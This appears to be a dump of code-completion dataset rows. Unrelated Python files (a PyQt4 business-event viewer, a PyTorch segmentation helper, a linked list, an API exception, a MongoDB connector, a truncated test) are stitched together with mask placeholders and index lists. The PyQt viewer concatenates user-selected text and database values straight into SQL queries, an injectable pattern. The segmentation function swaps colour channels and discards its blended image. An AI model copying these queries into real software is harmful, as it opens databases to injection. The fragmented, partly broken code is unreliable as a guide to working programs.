self.tb_EventViewer.setObjectName(_fromUtf8('tb_EventViewer'))
self.tb_EventViewer.horizontalHeader().setVisible(False)
self.tb_EventViewer.verticalHeader().setVisible(False)
self.bt_Earlier = QtGui.QPushButton(Form)
self.bt_Earlier.setGeometry(QtCore.QRect(60, 90, 75, 23))
self.bt_Earlier.setObjectName(_fromUtf8('bt_Earlier'))
self.bt_Earlier.clicked.connect(self.clicked_bt_Earlier)
self.bt_Later = QtGui.QPushButton(Form)
self.bt_Later.setGeometry(QtCore.QRect(510, 90, 75, 23))
self.bt_Later.setObjectName(_fromUtf8('bt_Later'))
self.bt_Later.clicked.connect(self.clicked_bt_Later)
self.label = QtGui.QLabel(Form)
self.label.setGeometry(QtCore.QRect(70, 0, 511, 41))
palette = QtGui.QPalette()
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,
brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText,
brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,
brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText,
brush)
brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,
brush)
brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText,
brush)
self.label.setPalette(palette)
font = QtGui.QFont()
font.setFamily(_fromUtf8('Segoe UI Light'))
font.setPointSize(18)
font.setBold(True)
font.setWeight(75)
self.label.setFont(font)
self.label.setObjectName(_fromUtf8('label'))
self.cb_EventType = QtGui.QComboBox(Form)
self.cb_EventType.setGeometry(QtCore.QRect(230, 50, 221, 22))
self.cb_EventType.setObjectName(_fromUtf8('cb_EventType'))
self.cb_EventType.currentIndexChanged['QString'].connect(self.
handleChanged)
self.label_2 = QtGui.QLabel(Form)
self.label_2.setGeometry(QtCore.QRect(70, 50, 121, 21))
self.label_3 = QtGui.QLabel(Form)
self.label_3.setGeometry(QtCore.QRect(190, 90, 221, 21))
palette = QtGui.QPalette()
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,
brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,
brush)
brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,
brush)
self.label_2.setPalette(palette)
self.label_3.setPalette(palette)
font = QtGui.QFont()
font.setFamily(_fromUtf8('Segoe UI'))
font.setPointSize(12)
self.label_2.setFont(font)
self.label_2.setObjectName(_fromUtf8('label_2'))
self.label_3.setFont(font)
self.label_3.setObjectName(_fromUtf8('label_3'))
self.retranslateUi(Form)
QtCore.QMetaObject.connectSlotsByName(Form)
self.initialize()
def retranslateUi(self, Form):
Form.setWindowTitle(_translate('Form', 'Revisit business events', None)
)
self.bt_Earlier.setText(_translate('Form', '<<', None))
self.bt_Later.setText(_translate('Form', '>>', None))
self.label.setText(_translate('Form', 'Revisit business events', None))
self.label_2.setText(_translate('Form', 'Select Event Type', None))
def initialize(self):
self.cb_EventType.addItems(self.getBusinessEventsType())
def getBusinessEventsType(self):
conn = sqlite3.connect('../Database/Business.db')
conn.text_factory = str
c = conn.cursor()
c.execute('SELECT Event FROM EventTypes')
locs = [r[0] for r in c.fetchall()]
conn.close()
return locs
def handleChanged(self, text):
modelView = QtGui.QStandardItemModel()
query = QtSql.QSqlQuery()
query.exec_(
"Select * from BusinessEvents a, EventTypes b where b.Event = '" +
text +
"' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT " +
str(self.eventSkip) + ',1')
recCount = 0
while query.next():
recCount = recCount + 1
if query.value(2).toString() != '':
query_Origin = QtSql.QSqlQuery()
query_Origin.exec_("Select Name from Cities where ID = '" +
query.value(2).toString() + "' LIMIT 1")
query_Origin.next()
modelInputItem = QtGui.QStandardItem('Origin')
modelInputValue = QtGui.QStandardItem(query_Origin.value(0)
.toString())
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(3).toString() != '':
query_Destination = QtSql.QSqlQuery()
query_Destination.exec_(
"Select Name from Cities where ID = '" + query.value(3)
.toString() + "' LIMIT 1")
query_Destination.next()
modelInputItem = QtGui.QStandardItem('Destination')
modelInputValue = QtGui.QStandardItem(query_Destination.
value(0).toString())
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(4).toString() != '':
modelInputItem = QtGui.QStandardItem('Weight')
modelInputValue = QtGui.QStandardItem(query.value(4).toString()
)
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(5).toString() != '':
modelInputItem = QtGui.QStandardItem('Volume')
modelInputValue = QtGui.QStandardItem(query.value(5).toString()
)
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(6).toString() != '':
modelInputItem = QtGui.QStandardItem('Time of Entry')
modelInputValue = QtGui.QStandardItem(query.value(6).toString()
)
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(7).toString() != '':
modelInputItem = QtGui.QStandardItem('Priority')
modelInputValue = QtGui.QStandardItem(query.value(7).toString()
)
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(8).toString() != '':
modelInputItem = QtGui.QStandardItem('Price Per Gram')
modelInputValue = QtGui.QStandardItem(query.value(8).toString()
)
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(9).toString() != '':
modelInputItem = QtGui.QStandardItem('Price Per CC')
modelInputValue = QtGui.QStandardItem(query.value(9).toString()
)
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(10).toString() != '':
modelInputItem = QtGui.QStandardItem('Company')
modelInputValue = QtGui.QStandardItem(query.value(10).
toString())
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(11).toString() != '':
modelInputItem = QtGui.QStandardItem('Transport Type')
modelInputValue = QtGui.QStandardItem(query.value(11).
toString())
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(12).toString() != '':
modelInputItem = QtGui.QStandardItem('Day of the Week')
modelInputValue = QtGui.QStandardItem(query.value(12).
toString())
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(13).toString() != '':
modelInputItem = QtGui.QStandardItem('Frequency')
modelInputValue = QtGui.QStandardItem(query.value(13).
toString())
modelView.appendRow([modelInputItem, modelInputValue])
if query.value(14).toString() != '':
modelInputItem = QtGui.QStandardItem('Duration')
modelInputValue = QtGui.QStandardItem(query.value(14).
toString())
modelView.appendRow([modelInputItem, modelInputValue])
if recCount == 0:
self.label_3.setText(_translate('Form', 'No Records found', None))
self.inWork = False
else:
self.label_3.setText(_translate('Form', '', None))
self.inWork = True
self.tb_EventViewer.setModel(modelView)
def clicked_bt_Earlier(self):
self.eventSkip = self.eventSkip + 1
self.handleChanged(self.cb_EventType.currentText())
def clicked_bt_Later(self):
if self.eventSkip > 0:
self.eventSkip = self.eventSkip - 1
self.handleChanged(self.cb_EventType.currentText())
class Database:
def __init__(self, parent=None):
self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE')
self.data.setDatabaseName('../Database/Business.db')
self.data.open()
| # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'KPS_RevisitBusinessEvents.ui'
#
# Created: Sun May 18 14:50:49 2014
# by: PyQt4 UI code generator 4.10.4
#
# WARNING! All changes made in this file will be lost!
from PyQt4 import QtCore, QtGui, QtSql
import sqlite3
try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
def _fromUtf8(s):
return s
try:
_encoding = QtGui.QApplication.UnicodeUTF8
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig, _encoding)
except AttributeError:
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig)
class Ui_Form(object):
def setupUi(self, Form):
Form.setObjectName(_fromUtf8("Form"))
Form.resize(666, 538)
palette = QtGui.QPalette()
self.eventSkip = 0;
self.db = Database()
brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush)
self.inWork = True
brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush)
brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush)
brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)
brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush)
Form.setPalette(palette)
self.tb_EventViewer = QtGui.QTableView(Form)
self.tb_EventViewer.setGeometry(QtCore.QRect(60, 120, 531, 351))
self.tb_EventViewer.setObjectName(_fromUtf8("tb_EventViewer"))
self.tb_EventViewer.horizontalHeader().setVisible(False)
self.tb_EventViewer.verticalHeader().setVisible(False)
# self.tb_EventViewer.setColumnCount(0)
# self.tb_EventViewer.setRowCount(0)
self.bt_Earlier = QtGui.QPushButton(Form)
self.bt_Earlier.setGeometry(QtCore.QRect(60, 90, 75, 23))
self.bt_Earlier.setObjectName(_fromUtf8("bt_Earlier"))
self.bt_Earlier.clicked.connect(self.clicked_bt_Earlier)
self.bt_Later = QtGui.QPushButton(Form)
self.bt_Later.setGeometry(QtCore.QRect(510, 90, 75, 23))
self.bt_Later.setObjectName(_fromUtf8("bt_Later"))
self.bt_Later.clicked.connect(self.clicked_bt_Later)
self.label = QtGui.QLabel(Form)
self.label.setGeometry(QtCore.QRect(70, 0, 511, 41))
palette = QtGui.QPalette()
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText, brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText, brush)
brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush)
brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText, brush)
self.label.setPalette(palette)
font = QtGui.QFont()
font.setFamily(_fromUtf8("Segoe UI Light"))
font.setPointSize(18)
font.setBold(True)
font.setWeight(75)
self.label.setFont(font)
self.label.setObjectName(_fromUtf8("label"))
self.cb_EventType = QtGui.QComboBox(Form)
self.cb_EventType.setGeometry(QtCore.QRect(230, 50, 221, 22))
self.cb_EventType.setObjectName(_fromUtf8("cb_EventType"))
self.cb_EventType.currentIndexChanged['QString'].connect(self.handleChanged)
self.label_2 = QtGui.QLabel(Form)
self.label_2.setGeometry(QtCore.QRect(70, 50, 121, 21))
self.label_3 = QtGui.QLabel(Form)
self.label_3.setGeometry(QtCore.QRect(190, 90, 221, 21))
palette = QtGui.QPalette()
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText, brush)
brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText, brush)
brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))
brush.setStyle(QtCore.Qt.SolidPattern)
palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText, brush)
self.label_2.setPalette(palette)
self.label_3.setPalette(palette)
font = QtGui.QFont()
font.setFamily(_fromUtf8("Segoe UI"))
font.setPointSize(12)
self.label_2.setFont(font)
self.label_2.setObjectName(_fromUtf8("label_2"))
self.label_3.setFont(font)
self.label_3.setObjectName(_fromUtf8("label_3"))
self.retranslateUi(Form)
QtCore.QMetaObject.connectSlotsByName(Form)
self.initialize()
def retranslateUi(self, Form):
Form.setWindowTitle(_translate("Form", "Revisit business events", None))
self.bt_Earlier.setText(_translate("Form", "<<", None))
self.bt_Later.setText(_translate("Form", ">>", None))
self.label.setText(_translate("Form", "Revisit business events", None))
self.label_2.setText(_translate("Form", "Select Event Type", None))
def initialize(self):
self.cb_EventType.addItems(self.getBusinessEventsType())
# self.cb_Destination.addItems(RH.getLocations())
def getBusinessEventsType(self):
conn = sqlite3.connect("../Database/Business.db")
conn.text_factory = str
c = conn.cursor()
c.execute('SELECT Event FROM EventTypes')
locs = [r[0] for r in c.fetchall()]
conn.close()
return locs
def handleChanged(self, text):
modelView = QtGui.QStandardItemModel()
query = QtSql.QSqlQuery()
query.exec_("Select * from BusinessEvents a, EventTypes b where b.Event = '" + text + "' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT " + str(self.eventSkip) + ",1")
recCount = 0;
while query.next():
recCount = recCount + 1
if query.value(2).toString() != '':
query_Origin = QtSql.QSqlQuery()
query_Origin.exec_("Select Name from Cities where ID = '" + query.value(2).toString() + "' LIMIT 1")
query_Origin.next()
modelInputItem = QtGui.QStandardItem("Origin")
modelInputValue = QtGui.QStandardItem(query_Origin.value(0).toString())
modelView.appendRow([modelInputItem,modelInputValue])
if query.value(3).toString() != '':
query_Destination = QtSql.QSqlQuery()
query_Destination.exec_("Select Name from Cities where ID = '" + query.value(3).toString() + "' LIMIT 1")
query_Destination.next()
modelInputItem = QtGui.QStandardItem("Destination")
modelInputValue = QtGui.QStandardItem(query_Destination.value(0).toString())
modelView.appendRow([modelInputItem,modelInputValue])
if query.value(4).toString() != '':
modelInputItem = QtGui.QStandardItem("Weight")
modelInputValue = QtGui.QStandardItem(query.value(4).toString())
modelView.appendRow([modelInputItem,modelInputValue])
if query.value(5).toString() != '':
modelInputItem = QtGui.QStandardItem("Volume")
modelInputValue = QtGui.QStandardItem(query.value(5).toString())
modelView.appendRow([modelInputItem,modelInputValue])
if query.value(6).toString() != '':
modelInputItem = QtGui.QStandardItem("Time of Entry")
modelInputValue = QtGui.QStandardItem(query.value(6).toString())
modelView.appendRow([modelInputItem,modelInputValue])
if query.value(7).toString() != '':
modelInputItem = QtGui.QStandardItem("Priority")
modelInputValue = QtGui.QStandardItem(query.value(7).toString())
modelView.appendRow([modelInputItem,modelInputValue])
if query.value(8).toString() != '':
modelInputItem = QtGui.QStandardItem("Price Per Gram")
modelInputValue = QtGui.QStandardItem(query.value(8).toString())
modelView.appendRow([modelInputItem,modelInputValue])
if query.value(9).toString() != '':
modelInputItem = QtGui.QStandardItem("Price Per CC")
modelInputValue = QtGui.QStandardItem(query.value(9).toString())
modelView.appendRow([modelInputItem,modelInputValue])
if query.value(10).toString() != '':
modelInputItem = QtGui.QStandardItem("Company")
modelInputValue = QtGui.QStandardItem(query.value(10).toString())
modelView.appendRow([modelInputItem,modelInputValue])
if query.value(11).toString() != '':
modelInputItem = QtGui.QStandardItem("Transport Type")
modelInputValue = QtGui.QStandardItem(query.value(11).toString())
modelView.appendRow([modelInputItem,modelInputValue])
if query.value(12).toString() != '':
modelInputItem = QtGui.QStandardItem("Day of the Week")
modelInputValue = QtGui.QStandardItem(query.value(12).toString())
modelView.appendRow([modelInputItem,modelInputValue])
if query.value(13).toString() != '':
modelInputItem = QtGui.QStandardItem("Frequency")
modelInputValue = QtGui.QStandardItem(query.value(13).toString())
modelView.appendRow([modelInputItem,modelInputValue])
if query.value(14).toString() != '':
modelInputItem = QtGui.QStandardItem("Duration")
modelInputValue = QtGui.QStandardItem(query.value(14).toString())
modelView.appendRow([modelInputItem,modelInputValue])
#modelInputValue = QtGui.QStandardItem('Value')
# modelView.appendRow([modelInputItem,modelInputValue])
if recCount == 0:
self.label_3.setText(_translate("Form", "No Records found", None))
self.inWork = False
else:
self.label_3.setText(_translate("Form", "", None))
self.inWork = True
self.tb_EventViewer.setModel(modelView)
def clicked_bt_Earlier(self):
self.eventSkip = self.eventSkip + 1
self.handleChanged(self.cb_EventType.currentText())
def clicked_bt_Later(self):
if self.eventSkip > 0:
self.eventSkip = self.eventSkip - 1
self.handleChanged(self.cb_EventType.currentText())
class Database:
def __init__(self, parent = None):
self.data = QtSql.QSqlDatabase.addDatabase("QSQLITE")
self.data.setDatabaseName("../Database/Business.db")
self.data.open()
| [
9,
10,
11,
12,
13
] |
9,992 | 2193c97b7f1fcf204007c2528ecc47cbf3c67e81 | <mask token>
| <mask token>
def people_on_image(path_to_image):
color_map = [(255, 255, 255), (255, 255, 255), (255, 255, 255), (255,
255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255,
255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255,
255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255,
0, 0), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255,
255), (255, 255, 255)]
trans = torchvision.transforms.Compose([torchvision.transforms.Resize(
540), torchvision.transforms.CenterCrop(520), torchvision.
transforms.ToTensor(), torchvision.transforms.Normalize((0.485,
0.456, 0.406), (0.229, 0.224, 0.225))])
model = torchvision.models.segmentation.fcn_resnet50(pretrained=True)
model.eval()
image = Image.open(path_to_image)
image = trans(image)
image = image.unsqueeze(0)
out = model(image)
labels = torch.argmax(out['out'].squeeze(), dim=0).detach().cpu().numpy()
red_map = np.zeros_like(labels).astype(np.uint8)
green_map = np.zeros_like(labels).astype(np.uint8)
blue_map = np.zeros_like(labels).astype(np.uint8)
for label_num in range(0, len(color_map)):
index = labels == label_num
red_map[index] = np.array(color_map)[label_num, 0]
blue_map[index] = np.array(color_map)[label_num, 1]
green_map[index] = np.array(color_map)[label_num, 2]
ready_image = np.stack([red_map, green_map, blue_map], axis=2)
image = np.array(image)
image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)
ready_image = cv2.cvtColor(ready_image, cv2.COLOR_RGB2BGR)
cv2.addWeighted(ready_image, 0.6, image, 0.4, 0)
return ready_image
| import torch
import numpy as np
import cv2
import torchvision
from PIL import Image
def people_on_image(path_to_image):
color_map = [(255, 255, 255), (255, 255, 255), (255, 255, 255), (255,
255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255,
255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255,
255, 255), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255,
0, 0), (255, 255, 255), (255, 255, 255), (255, 255, 255), (255, 255,
255), (255, 255, 255)]
trans = torchvision.transforms.Compose([torchvision.transforms.Resize(
540), torchvision.transforms.CenterCrop(520), torchvision.
transforms.ToTensor(), torchvision.transforms.Normalize((0.485,
0.456, 0.406), (0.229, 0.224, 0.225))])
model = torchvision.models.segmentation.fcn_resnet50(pretrained=True)
model.eval()
image = Image.open(path_to_image)
image = trans(image)
image = image.unsqueeze(0)
out = model(image)
labels = torch.argmax(out['out'].squeeze(), dim=0).detach().cpu().numpy()
red_map = np.zeros_like(labels).astype(np.uint8)
green_map = np.zeros_like(labels).astype(np.uint8)
blue_map = np.zeros_like(labels).astype(np.uint8)
for label_num in range(0, len(color_map)):
index = labels == label_num
red_map[index] = np.array(color_map)[label_num, 0]
blue_map[index] = np.array(color_map)[label_num, 1]
green_map[index] = np.array(color_map)[label_num, 2]
ready_image = np.stack([red_map, green_map, blue_map], axis=2)
image = np.array(image)
image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)
ready_image = cv2.cvtColor(ready_image, cv2.COLOR_RGB2BGR)
cv2.addWeighted(ready_image, 0.6, image, 0.4, 0)
return ready_image
| import torch
import numpy as np
import cv2
import torchvision
from PIL import Image
def people_on_image(path_to_image):
color_map = [
(255, 255, 255), # background
(255, 255, 255), # aeroplane
(255, 255, 255), # bicycle
(255, 255, 255), # bird
(255, 255, 255), # boat
(255, 255, 255), # bottle
(255, 255, 255), # bus
(255, 255, 255), # car
(255, 255, 255), # cat
(255, 255, 255), # chair
(255, 255, 255), # cow
(255, 255, 255), # dining table
(255, 255, 255), # dog
(255, 255, 255), # horse
(255, 255, 255), # motorbike
(255, 0, 0), # person
(255, 255, 255), # potted plant
(255, 255, 255), # sheep
(255, 255, 255), # sofa
(255, 255, 255), # train
(255, 255, 255) # tv/monitor
]
trans = torchvision.transforms.Compose([
torchvision.transforms.Resize(540),
torchvision.transforms.CenterCrop(520),
torchvision.transforms.ToTensor(),
torchvision.transforms.Normalize(
(0.485, 0.456, 0.406), (0.229, 0.224, 0.225))])
model = torchvision.models.segmentation.fcn_resnet50(pretrained=True)
model.eval()
image = Image.open(path_to_image)
image = trans(image)
image = image.unsqueeze(0)
out = model(image)
labels = torch.argmax(out['out'].squeeze(), dim=0).detach().cpu().numpy()
red_map = np.zeros_like(labels).astype(np.uint8)
green_map = np.zeros_like(labels).astype(np.uint8)
blue_map = np.zeros_like(labels).astype(np.uint8)
for label_num in range(0, len(color_map)):
index = labels == label_num
red_map[index] = np.array(color_map)[label_num, 0]
blue_map[index] = np.array(color_map)[label_num, 1]
green_map[index] = np.array(color_map)[label_num, 2]
ready_image = np.stack([red_map, green_map, blue_map], axis=2)
image = np.array(image)
image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)
ready_image = cv2.cvtColor(ready_image, cv2.COLOR_RGB2BGR)
cv2.addWeighted(ready_image, 0.6, image, 0.4, 0)
return ready_image
| null | [
0,
1,
2,
3
] |
9,993 | ff137b51ea5b8c21e335a38a3d307a3302921245 | class Node:
def __init__(self, data):
self.data = data
self.next = None
<mask token>
def Reverse(Head):
Temp = Head
TempNext = Head.next
while TempNext != None:
NextSaved = TempNext.next
TempNext.next = Temp
Temp = TempNext
TempNext = NextSaved
Head.next = None
Head = Temp
return Head
<mask token>
| class Node:
def __init__(self, data):
self.data = data
self.next = None
def Add(Head, data):
Temp = Head
while Temp.next != None:
Temp = Temp.next
Temp.next = Node(data)
def create(data):
Head = Node(data)
return Head
<mask token>
def Reverse(Head):
Temp = Head
TempNext = Head.next
while TempNext != None:
NextSaved = TempNext.next
TempNext.next = Temp
Temp = TempNext
TempNext = NextSaved
Head.next = None
Head = Temp
return Head
<mask token>
| class Node:
def __init__(self, data):
self.data = data
self.next = None
def Add(Head, data):
Temp = Head
while Temp.next != None:
Temp = Temp.next
Temp.next = Node(data)
def create(data):
Head = Node(data)
return Head
def printLL(Head):
Temp = Head
while Temp != None:
print(Temp.data, end=' ')
Temp = Temp.next
print()
def Reverse(Head):
Temp = Head
TempNext = Head.next
while TempNext != None:
NextSaved = TempNext.next
TempNext.next = Temp
Temp = TempNext
TempNext = NextSaved
Head.next = None
Head = Temp
return Head
<mask token>
| class Node:
def __init__(self, data):
self.data = data
self.next = None
def Add(Head, data):
Temp = Head
while Temp.next != None:
Temp = Temp.next
Temp.next = Node(data)
def create(data):
Head = Node(data)
return Head
def printLL(Head):
Temp = Head
while Temp != None:
print(Temp.data, end=' ')
Temp = Temp.next
print()
def Reverse(Head):
Temp = Head
TempNext = Head.next
while TempNext != None:
NextSaved = TempNext.next
TempNext.next = Temp
Temp = TempNext
TempNext = NextSaved
Head.next = None
Head = Temp
return Head
if __name__ == '__main__':
Head = create(5)
Add(Head, 6)
Add(Head, 7)
Add(Head, 8)
Add(Head, 9)
Add(Head, 10)
printLL(Head)
NewHead = Reverse(Head)
printLL(NewHead)
|
class Node:
def __init__(self,data):
self.data = data
self.next = None
def Add(Head,data):
Temp = Head
while(Temp.next != None):
Temp = Temp.next
Temp.next = Node(data)
# print(Temp.data)
def create(data):
Head = Node(data)
return Head
def printLL(Head):
Temp = Head
while(Temp != None):
# input()
print(Temp.data,end=" ")
Temp = Temp.next
print()
def Reverse(Head):
Temp = Head
TempNext = Head.next
# curr = TempNext
while(TempNext != None):
NextSaved = TempNext.next
TempNext.next = Temp
Temp = TempNext
TempNext = NextSaved
Head.next = None
Head = Temp
return Head
if __name__ == '__main__':
Head = create(5)
Add(Head,6)
Add(Head,7)
Add(Head,8)
Add(Head,9)
Add(Head,10)
printLL(Head)
NewHead = Reverse(Head)
printLL(NewHead)
| [
3,
5,
6,
7,
8
] |
9,994 | 0ac14b023c51bfd1cf99bd2d991baa30a671e066 | <mask token>
class ApiException(Exception):
def __init__(self, message, code=400, data=None):
Exception.__init__(self, message)
self.code = code
self.msg = message
self.data = data
def __str__(self):
return self.msg
<mask token>
<mask token>
| <mask token>
class ApiException(Exception):
def __init__(self, message, code=400, data=None):
Exception.__init__(self, message)
self.code = code
self.msg = message
self.data = data
def __str__(self):
return self.msg
def to_dict(self):
res = dict(self.data or ())
res['msg'] = self.msg
res['code'] = self.code
return res
<mask token>
| <mask token>
class ApiException(Exception):
def __init__(self, message, code=400, data=None):
Exception.__init__(self, message)
self.code = code
self.msg = message
self.data = data
def __str__(self):
return self.msg
def to_dict(self):
res = dict(self.data or ())
res['msg'] = self.msg
res['code'] = self.code
return res
def error_handle(msg='', data=None):
service_logger.error(data={'msg': msg, 'data': data})
raise ApiException(msg)
| from service import service_logger
from service.TaskService import TaskService
class ApiException(Exception):
def __init__(self, message, code=400, data=None):
Exception.__init__(self, message)
self.code = code
self.msg = message
self.data = data
def __str__(self):
return self.msg
def to_dict(self):
res = dict(self.data or ())
res['msg'] = self.msg
res['code'] = self.code
return res
def error_handle(msg='', data=None):
service_logger.error(data={'msg': msg, 'data': data})
raise ApiException(msg)
| # _*_ coding: utf-8 _*_
from service import service_logger
from service.TaskService import TaskService
class ApiException(Exception):
def __init__(self, message, code=400, data=None):
Exception.__init__(self, message)
self.code = code
self.msg = message
self.data = data
def __str__(self):
return self.msg
def to_dict(self):
res = dict(self.data or ())
res['msg'] = self.msg
res['code'] = self.code
return res
def error_handle(msg='', data=None):
service_logger.error(data={"msg": msg, "data": data})
raise ApiException(msg) | [
3,
4,
5,
6,
7
] |
9,995 | aafdd228cf2859d7f013b088263eab544e19c481 | <mask token>
| <mask token>
try:
myclient = pymongo.MongoClient('mongodb://localhost:27017/')
myclient.server_info()
print('Database Connected')
except:
print('Database Error')
<mask token>
| <mask token>
myclient = {}
try:
myclient = pymongo.MongoClient('mongodb://localhost:27017/')
myclient.server_info()
print('Database Connected')
except:
print('Database Error')
mydb = myclient['jmitproject']
user = user(mydb)
blog = blog(mydb)
| import pymongo
from FlaskScripts.database.user_database import user
from FlaskScripts.database.blog_database import blog
myclient = {}
try:
myclient = pymongo.MongoClient('mongodb://localhost:27017/')
myclient.server_info()
print('Database Connected')
except:
print('Database Error')
mydb = myclient['jmitproject']
user = user(mydb)
blog = blog(mydb)
| import pymongo
from FlaskScripts.database.user_database import user
from FlaskScripts.database.blog_database import blog
myclient = {}
try:
myclient = pymongo.MongoClient("mongodb://localhost:27017/")
myclient.server_info()
print('Database Connected')
except:
print('Database Error')
mydb = myclient["jmitproject"]
user = user(mydb) # use user for users interaction
blog = blog(mydb) # use blog for blogs interaction
| [
0,
1,
2,
3,
4
] |
9,996 | c312bf096c7f4aaf9269a8885ff254fd4852cfe0 | <mask token>
class ExecuteCommandTest(TestBase):
def setUp(self):
super(ExecuteCommandTest, self).setUp()
self.cwd = os.path.join(os.path.dirname(__file__), '../../..')
self.logger = Mock()
MonkeyPatcher.patch(action, 'create_background_logger', Mock(
return_value=self.logger))
<mask token>
<mask token>
def test_success(self):
data = self.create_data('./tests/bin/hook-test', Event.
ARTIFACT_UPLOADED)
result = action.execute_command(**data)
self.assertTrue(result)
expected_result = {'stdout': self.create_stdout(data), 'stderr':
'STDERR', 'exit_code': 0}
self.logger.debug.assert_called_with('Command Result: {0}'.format(
json.dumps(expected_result, indent=4)))
def test_failure(self):
data = self.create_data('./tests/bin/hook-test', 'fail')
result = action.execute_command(**data)
self.assertFalse(result)
expected_result = {'stdout': self.create_stdout(data), 'stderr':
'STDERR', 'exit_code': 1}
self.logger.debug.assert_called_with('Command Result: {0}'.format(
json.dumps(expected_result, indent=4)))
| <mask token>
class ExecuteCommandTest(TestBase):
def setUp(self):
super(ExecuteCommandTest, self).setUp()
self.cwd = os.path.join(os.path.dirname(__file__), '../../..')
self.logger = Mock()
MonkeyPatcher.patch(action, 'create_background_logger', Mock(
return_value=self.logger))
<mask token>
def create_stdout(self, data):
l = ['SHELF_EVENT={0}'.format(data['event']), 'SHELF_URI={0}'.
